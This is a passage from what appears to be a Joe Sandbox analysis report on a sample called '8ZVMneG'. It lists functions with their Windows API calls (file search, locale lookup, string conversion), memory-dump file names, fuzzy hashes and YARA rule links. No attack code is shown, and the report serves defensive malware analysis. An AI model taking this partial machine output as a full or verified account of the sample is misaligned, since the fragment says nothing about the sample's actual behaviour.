FindNextFileW.KERNEL32(00000000,?), ref: 00EDD53C
FindClose.KERNEL32(00000000), ref: 00EDD57B
FindClose.KERNEL32(00000000), ref: 00EDD5AE

Memory Dump Source

Source File: 00000000.00000002.2160373649.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2160345994.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160407064.0000000000EE8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160429654.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160447933.0000000000EF3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160467900.0000000000EF5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160486409.0000000000EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160515823.0000000000EFA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_8ZVMneG.jbxd

Similarity

API ID: Find$CloseFile$AllocateFirstHeapNext
String ID:
API String ID: 4087847297-0
Opcode ID: 72c7f9458ca791077bcd231eb5cddbd208e9c1c1d61d7d8aacb10d4535ae7593
Instruction ID: 7098493fc05244b34fa25be677dc979f87b7ed0675afac0195dbec6fb918cfe6
Opcode Fuzzy Hash: 72c7f9458ca791077bcd231eb5cddbd208e9c1c1d61d7d8aacb10d4535ae7593
Instruction Fuzzy Hash: 98515771908118AFDB14AF289C84AFEB7B9DF85318F14619FF418B3301EA308E438B61

Function 00EDCBAF Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 00ED75D3: GetLastError.KERNEL32(?,?,00ED126E,00EF1540,0000000C), ref: 00ED75D7
Part of subcall function 00ED75D3: SetLastError.KERNEL32(00000000), ref: 00ED7679

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00EDCC03

Memory Dump Source

Source File: 00000000.00000002.2160373649.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2160345994.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160407064.0000000000EE8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160429654.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160447933.0000000000EF3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160467900.0000000000EF5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160486409.0000000000EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160515823.0000000000EFA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_8ZVMneG.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 8e998960e170347be48c0ddf13e1ff5f23c9fc4660c039048e276b6fd332f141
Instruction ID: 318e81902e2542e44a081080fc803534fbb340c1ff13322b9103a6aa74885269
Opcode Fuzzy Hash: 8e998960e170347be48c0ddf13e1ff5f23c9fc4660c039048e276b6fd332f141
Instruction Fuzzy Hash: 9C21D671524207ABDB289B15DD41ABBB3E8EF04744B20207BFE05F6241EB35DD42C750

Function 00ECFF5A Relevance: 1.6, Strings: 1, Instructions: 333COMMON

Download Yara Rule

Strings

0, xrefs: 00ED00CA

Memory Dump Source

Source File: 00000000.00000002.2160373649.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2160345994.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160407064.0000000000EE8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160429654.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160447933.0000000000EF3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160467900.0000000000EF5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160486409.0000000000EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160515823.0000000000EFA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_8ZVMneG.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 324384977efa3fe03bc06758107ca0eb534c9d62713c87481bcabb05ab344196
Instruction ID: 47792c27347aab13bae867ceeeb66f84f2af3cac2c1818757839416ff81eb502
Opcode Fuzzy Hash: 324384977efa3fe03bc06758107ca0eb534c9d62713c87481bcabb05ab344196
Instruction Fuzzy Hash: BDC1CF305016469ECB29CF68C584BBAB7B1EF06308F1C6A1FD496B77A2C371A947CB51

Function 00EDC862 Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00ED75D3: GetLastError.KERNEL32(?,?,00ED126E,00EF1540,0000000C), ref: 00ED75D7
Part of subcall function 00ED75D3: SetLastError.KERNEL32(00000000), ref: 00ED7679

EnumSystemLocalesW.KERNEL32(00EDC8FD,00000001,00000000,?,-00000050,?,00EDC6ED,00000000,-00000002,00000000,?,00000055,?), ref: 00EDC8D4

Memory Dump Source

Source File: 00000000.00000002.2160373649.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2160345994.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160407064.0000000000EE8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160429654.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160447933.0000000000EF3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160467900.0000000000EF5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160486409.0000000000EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160515823.0000000000EFA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_8ZVMneG.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 9ac98a42ce49779f78da8eb0d2ec4a812128c5d17fb72612323aa2774b1ce996
Instruction ID: ca47eece97dd83f3eb15d1d1cba86015d6dba2eebab6768d3ecc86d319a4740f
Opcode Fuzzy Hash: 9ac98a42ce49779f78da8eb0d2ec4a812128c5d17fb72612323aa2774b1ce996
Instruction Fuzzy Hash: E411063A6043065FDB1C9F39C8919BAB792FB84398B24442EE94667740E771B943D740

Function 00EDCCCF Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

Part of subcall function 00ED75D3: GetLastError.KERNEL32(?,?,00ED126E,00EF1540,0000000C), ref: 00ED75D7
Part of subcall function 00ED75D3: SetLastError.KERNEL32(00000000), ref: 00ED7679

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00EDCD23

Memory Dump Source

Source File: 00000000.00000002.2160373649.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2160345994.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160407064.0000000000EE8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160429654.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160447933.0000000000EF3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160467900.0000000000EF5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160486409.0000000000EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160515823.0000000000EFA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_8ZVMneG.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: a574e9f2d67325912a22463e5c835d140495c0b818b70b15491a42cb959e0786
Instruction ID: b6f199c5530a897f9820158171b34ffffb579d94d539331edffc4ca2da2e2cc0
Opcode Fuzzy Hash: a574e9f2d67325912a22463e5c835d140495c0b818b70b15491a42cb959e0786
Instruction Fuzzy Hash: DF11C672510217ABDB18AB28DC42ABB77E8EF05354B20517BF901F7241EB74ED06C790

Function 00EDCE7C Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

Part of subcall function 00ED75D3: GetLastError.KERNEL32(?,?,00ED126E,00EF1540,0000000C), ref: 00ED75D7
Part of subcall function 00ED75D3: SetLastError.KERNEL32(00000000), ref: 00ED7679

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,00EDCB19,00000000,00000000,?), ref: 00EDCEA8

Memory Dump Source

Source File: 00000000.00000002.2160373649.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2160345994.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160407064.0000000000EE8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160429654.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160447933.0000000000EF3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160467900.0000000000EF5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160486409.0000000000EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160515823.0000000000EFA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_8ZVMneG.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: bcbf63593a999cf8966abd2a0e1421639a23fbd9be925a8724c782eeadbdc0a7
Instruction ID: 8c815091e0a3042c4207f683b765ba40bead47743d308977a6b185fbff568694
Opcode Fuzzy Hash: bcbf63593a999cf8966abd2a0e1421639a23fbd9be925a8724c782eeadbdc0a7
Instruction Fuzzy Hash: 5D01A772604117AFDB28976488456FE379CDB403D8F25442AAC02F7280EA70EE42C6D4

Function 00EDCB50 Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00ED75D3: GetLastError.KERNEL32(?,?,00ED126E,00EF1540,0000000C), ref: 00ED75D7
Part of subcall function 00ED75D3: SetLastError.KERNEL32(00000000), ref: 00ED7679

EnumSystemLocalesW.KERNEL32(00EDCBAF,00000001,?,?,-00000050,?,00EDC6B5,-00000050,-00000002,00000000,?,00000055,?,-00000050,?,?), ref: 00EDCB9A

Memory Dump Source

Source File: 00000000.00000002.2160373649.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2160345994.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160407064.0000000000EE8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160429654.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160447933.0000000000EF3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160467900.0000000000EF5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160486409.0000000000EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160515823.0000000000EFA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_8ZVMneG.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: c5940c60a0eae67596e287487180d9f30ccb03c898d73e11ccb2c1d5d439afa3
Instruction ID: 3ea9bd9c035f579095527802b8c79d6a2f723a77dff2fc73346aab45ac843366
Opcode Fuzzy Hash: c5940c60a0eae67596e287487180d9f30ccb03c898d73e11ccb2c1d5d439afa3
Instruction Fuzzy Hash: A6F0C8362043055FDB145F35D886A767BD1EB807A8B25542FF9459B740D6B1DC03C650

Function 00ED8610 Relevance: 1.5, APIs: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00ED3EA8: EnterCriticalSection.KERNEL32(?,?,00ED7A60,?,00EF1970,00000008,00ED7952,?,?,?), ref: 00ED3EB7

EnumSystemLocalesW.KERNEL32(00ED8603,00000001,00EF19F0,0000000C,00ED7F68,-00000050), ref: 00ED8648

Memory Dump Source

Source File: 00000000.00000002.2160373649.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2160345994.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160407064.0000000000EE8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160429654.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160447933.0000000000EF3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160467900.0000000000EF5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160486409.0000000000EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160515823.0000000000EFA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_8ZVMneG.jbxd

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: dcd62104b88a1a852100f14f5c4b45210dbc1c7bc8c3075f8b98ddf9950d1cd9
Instruction ID: 4088af35fdf1460caeff33186ea68b9c7444402e0d515ce027a6f9faa3479d42
Opcode Fuzzy Hash: dcd62104b88a1a852100f14f5c4b45210dbc1c7bc8c3075f8b98ddf9950d1cd9
Instruction Fuzzy Hash: 38F03772A01204EFD714EF98E902BAA77F0EB84B21F00512AE810AB2E1CB758945CB81

Function 00EDCC84 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00ED75D3: GetLastError.KERNEL32(?,?,00ED126E,00EF1540,0000000C), ref: 00ED75D7
Part of subcall function 00ED75D3: SetLastError.KERNEL32(00000000), ref: 00ED7679

EnumSystemLocalesW.KERNEL32(00EDCCCF,00000001,?,?,?,00EDC70F,-00000050,-00000002,00000000,?,00000055,?,-00000050,?,?,?), ref: 00EDCCBB

Memory Dump Source

Source File: 00000000.00000002.2160373649.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2160345994.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160407064.0000000000EE8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160429654.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160447933.0000000000EF3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160467900.0000000000EF5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160486409.0000000000EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160515823.0000000000EFA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_8ZVMneG.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 1983d1d9410e896fa89ac3be0e154b7f555ffbecfb4bc097307ff1b77fb8d6fe
Instruction ID: d1a503d78fb9a2e176d5cfd1dbde61903e7995e54a9a12fd7168c09802629c66
Opcode Fuzzy Hash: 1983d1d9410e896fa89ac3be0e154b7f555ffbecfb4bc097307ff1b77fb8d6fe
Instruction Fuzzy Hash: B1F0553630020657CB08AF36D84566ABF90EFC1794B1A405AEB0A9B340C6729843C790

Function 00ED806C Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,00000000,?,00ED2C04,?,20001004,00000000,00000002,?,?,00ED1B16), ref: 00ED80A0

Memory Dump Source

Source File: 00000000.00000002.2160373649.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2160345994.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160407064.0000000000EE8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160429654.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160447933.0000000000EF3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160467900.0000000000EF5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160486409.0000000000EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160515823.0000000000EFA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_8ZVMneG.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 1f418fde0bcffb0ec163c6b2ed5a7c11c72ef185043321b2b507dff462092f4a
Instruction ID: 4e213eb5ff6234659d41775d869ced2e33ac766cf23d488d3e7fde7a1a85706f
Opcode Fuzzy Hash: 1f418fde0bcffb0ec163c6b2ed5a7c11c72ef185043321b2b507dff462092f4a
Instruction Fuzzy Hash: F3E04F31940218BFCF222F61DD09EAE3F66EF84791F044012FD1575261CF328922EAD4

Function 00ECB640 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0000B761), ref: 00ECB645

Memory Dump Source

Source File: 00000000.00000002.2160373649.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2160345994.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160407064.0000000000EE8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160429654.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160447933.0000000000EF3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160467900.0000000000EF5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160486409.0000000000EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160515823.0000000000EFA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_8ZVMneG.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 5d78868dab7a3afbd28b6c612599212b2bd512afd991be43b3175590a6e8b803
Instruction ID: b5ad4e364d90d23a3f9bed8997a52a7c76f5528b2268d8fd1edda97f0d81a87a
Opcode Fuzzy Hash: 5d78868dab7a3afbd28b6c612599212b2bd512afd991be43b3175590a6e8b803
Instruction Fuzzy Hash:

Function 00ED8D25 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00ED8D25

Memory Dump Source

Source File: 00000000.00000002.2160373649.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2160345994.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160407064.0000000000EE8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160429654.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160447933.0000000000EF3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160467900.0000000000EF5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160486409.0000000000EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160515823.0000000000EFA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_8ZVMneG.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 93a97dafdb3e0781202193416f177aec37cacb956adbe8c0595a3e133b109c6c
Instruction ID: ba956dd6a609a99ee3dcf5b8ebdacae04009686431580ada725080ff82670528
Opcode Fuzzy Hash: 93a97dafdb3e0781202193416f177aec37cacb956adbe8c0595a3e133b109c6c
Instruction Fuzzy Hash: 2CA002706021058F67408F365E0521A35D96BC559170544656415D5171E6658554D601

Function 00EF5000 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2160467900.0000000000EF5000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2160345994.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160373649.0000000000EC1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160407064.0000000000EE8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160429654.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160447933.0000000000EF3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160486409.0000000000EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160515823.0000000000EFA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_8ZVMneG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 82deebe24201b636904a8fd7d9e25c9dde6b44f444a07b28b64b2e34180a6b56
Instruction ID: 2196f7a62e960d9736eb84177a20ab19c087add38d4b7c8ec70099f05c72e7d1
Opcode Fuzzy Hash: 82deebe24201b636904a8fd7d9e25c9dde6b44f444a07b28b64b2e34180a6b56
Instruction Fuzzy Hash: 81519AB0D0020D9FCB40DFA8D691AEEBBF0EB49350F20945AE915FB311D731AA41CB65

Function 00EF55D0 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2160467900.0000000000EF5000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2160345994.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160373649.0000000000EC1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160407064.0000000000EE8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160429654.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160447933.0000000000EF3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160486409.0000000000EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160515823.0000000000EFA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_8ZVMneG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50354f0752e92480b21629dab8b898696166aeb74879c7073d07f2ccae59bbaa
Instruction ID: 65adfbd8eef9f7bf1bd9d1abcd0511519fe7c3cc4492b247fd15d2162319e91e
Opcode Fuzzy Hash: 50354f0752e92480b21629dab8b898696166aeb74879c7073d07f2ccae59bbaa
Instruction Fuzzy Hash: CAD0923A641A58AFC210CF5AE440D41F7B8FBCD670B154066EA08A7B20C331FC11CAE0

Function 00EE5DA2 Relevance: 12.2, APIs: 8, Instructions: 248COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32(00A30F68,00A30F68,00000000,7FFFFFFF,?,00EE5D8D,00A30F68,00A30F68,00000000,00A30F68,?,?,?,?,00A30F68,00000000), ref: 00EE5E48
__alloca_probe_16.LIBCMT ref: 00EE5F03
__alloca_probe_16.LIBCMT ref: 00EE5F92
__freea.LIBCMT ref: 00EE5FDD
__freea.LIBCMT ref: 00EE5FE3
__freea.LIBCMT ref: 00EE6019
__freea.LIBCMT ref: 00EE601F
__freea.LIBCMT ref: 00EE602F

Memory Dump Source

Source File: 00000000.00000002.2160373649.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2160345994.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160407064.0000000000EE8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160429654.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160447933.0000000000EF3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160467900.0000000000EF5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160486409.0000000000EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160515823.0000000000EFA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_8ZVMneG.jbxd

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: d0d0d31a999950909ae509e94c674a72c8b223919f507c8b4958c338d070abb8
Instruction ID: 6b2d059046d7d9a8d572cc668fe8663642730e58d01a23e3305402e617ebe20a
Opcode Fuzzy Hash: d0d0d31a999950909ae509e94c674a72c8b223919f507c8b4958c338d070abb8
Instruction Fuzzy Hash: BD71F633A0468D9BDF209B968D42FAE7BE59F5535CF28201AE904BB291EB31DD01C750

Function 00ECBC65 Relevance: 12.2, APIs: 8, Instructions: 177COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000001,00000001,?), ref: 00ECBCAC
__alloca_probe_16.LIBCMT ref: 00ECBCD8
MultiByteToWideChar.KERNEL32(00000000,00000001,00000001,?,00000000,00000000), ref: 00ECBD17
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00ECBD34
LCMapStringEx.KERNEL32(?,?,00000000,00000000,?,?,00000000,00000000,00000000), ref: 00ECBD73
__alloca_probe_16.LIBCMT ref: 00ECBD90
LCMapStringEx.KERNEL32(?,?,00000000,00000001,00000000,00000000,00000000,00000000,00000000), ref: 00ECBDD2
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 00ECBDF5

Memory Dump Source

Source File: 00000000.00000002.2160373649.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2160345994.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160407064.0000000000EE8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160429654.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160447933.0000000000EF3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160467900.0000000000EF5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160486409.0000000000EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160515823.0000000000EFA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_8ZVMneG.jbxd

Similarity

API ID: ByteCharMultiStringWide$__alloca_probe_16
String ID:
API String ID: 2040435927-0
Opcode ID: 98b2555ec99e5a2083e92baf5aaf0c8ff8d2277d4e5a42dabe79c9107e522025
Instruction ID: 3df9d2321f9a4b8d9bbd921b472c6eb4be17a735db705bc3d7b8b6906f353435
Opcode Fuzzy Hash: 98b2555ec99e5a2083e92baf5aaf0c8ff8d2277d4e5a42dabe79c9107e522025
Instruction Fuzzy Hash: C951C17290020AAFEF204F51DD46FFB7BA9EF80B44F24402DFA15B6191DB728C128B90

Function 00EDA29B Relevance: 10.8, APIs: 7, Instructions: 329COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00EDA321

Memory Dump Source

Source File: 00000000.00000002.2160373649.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2160345994.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
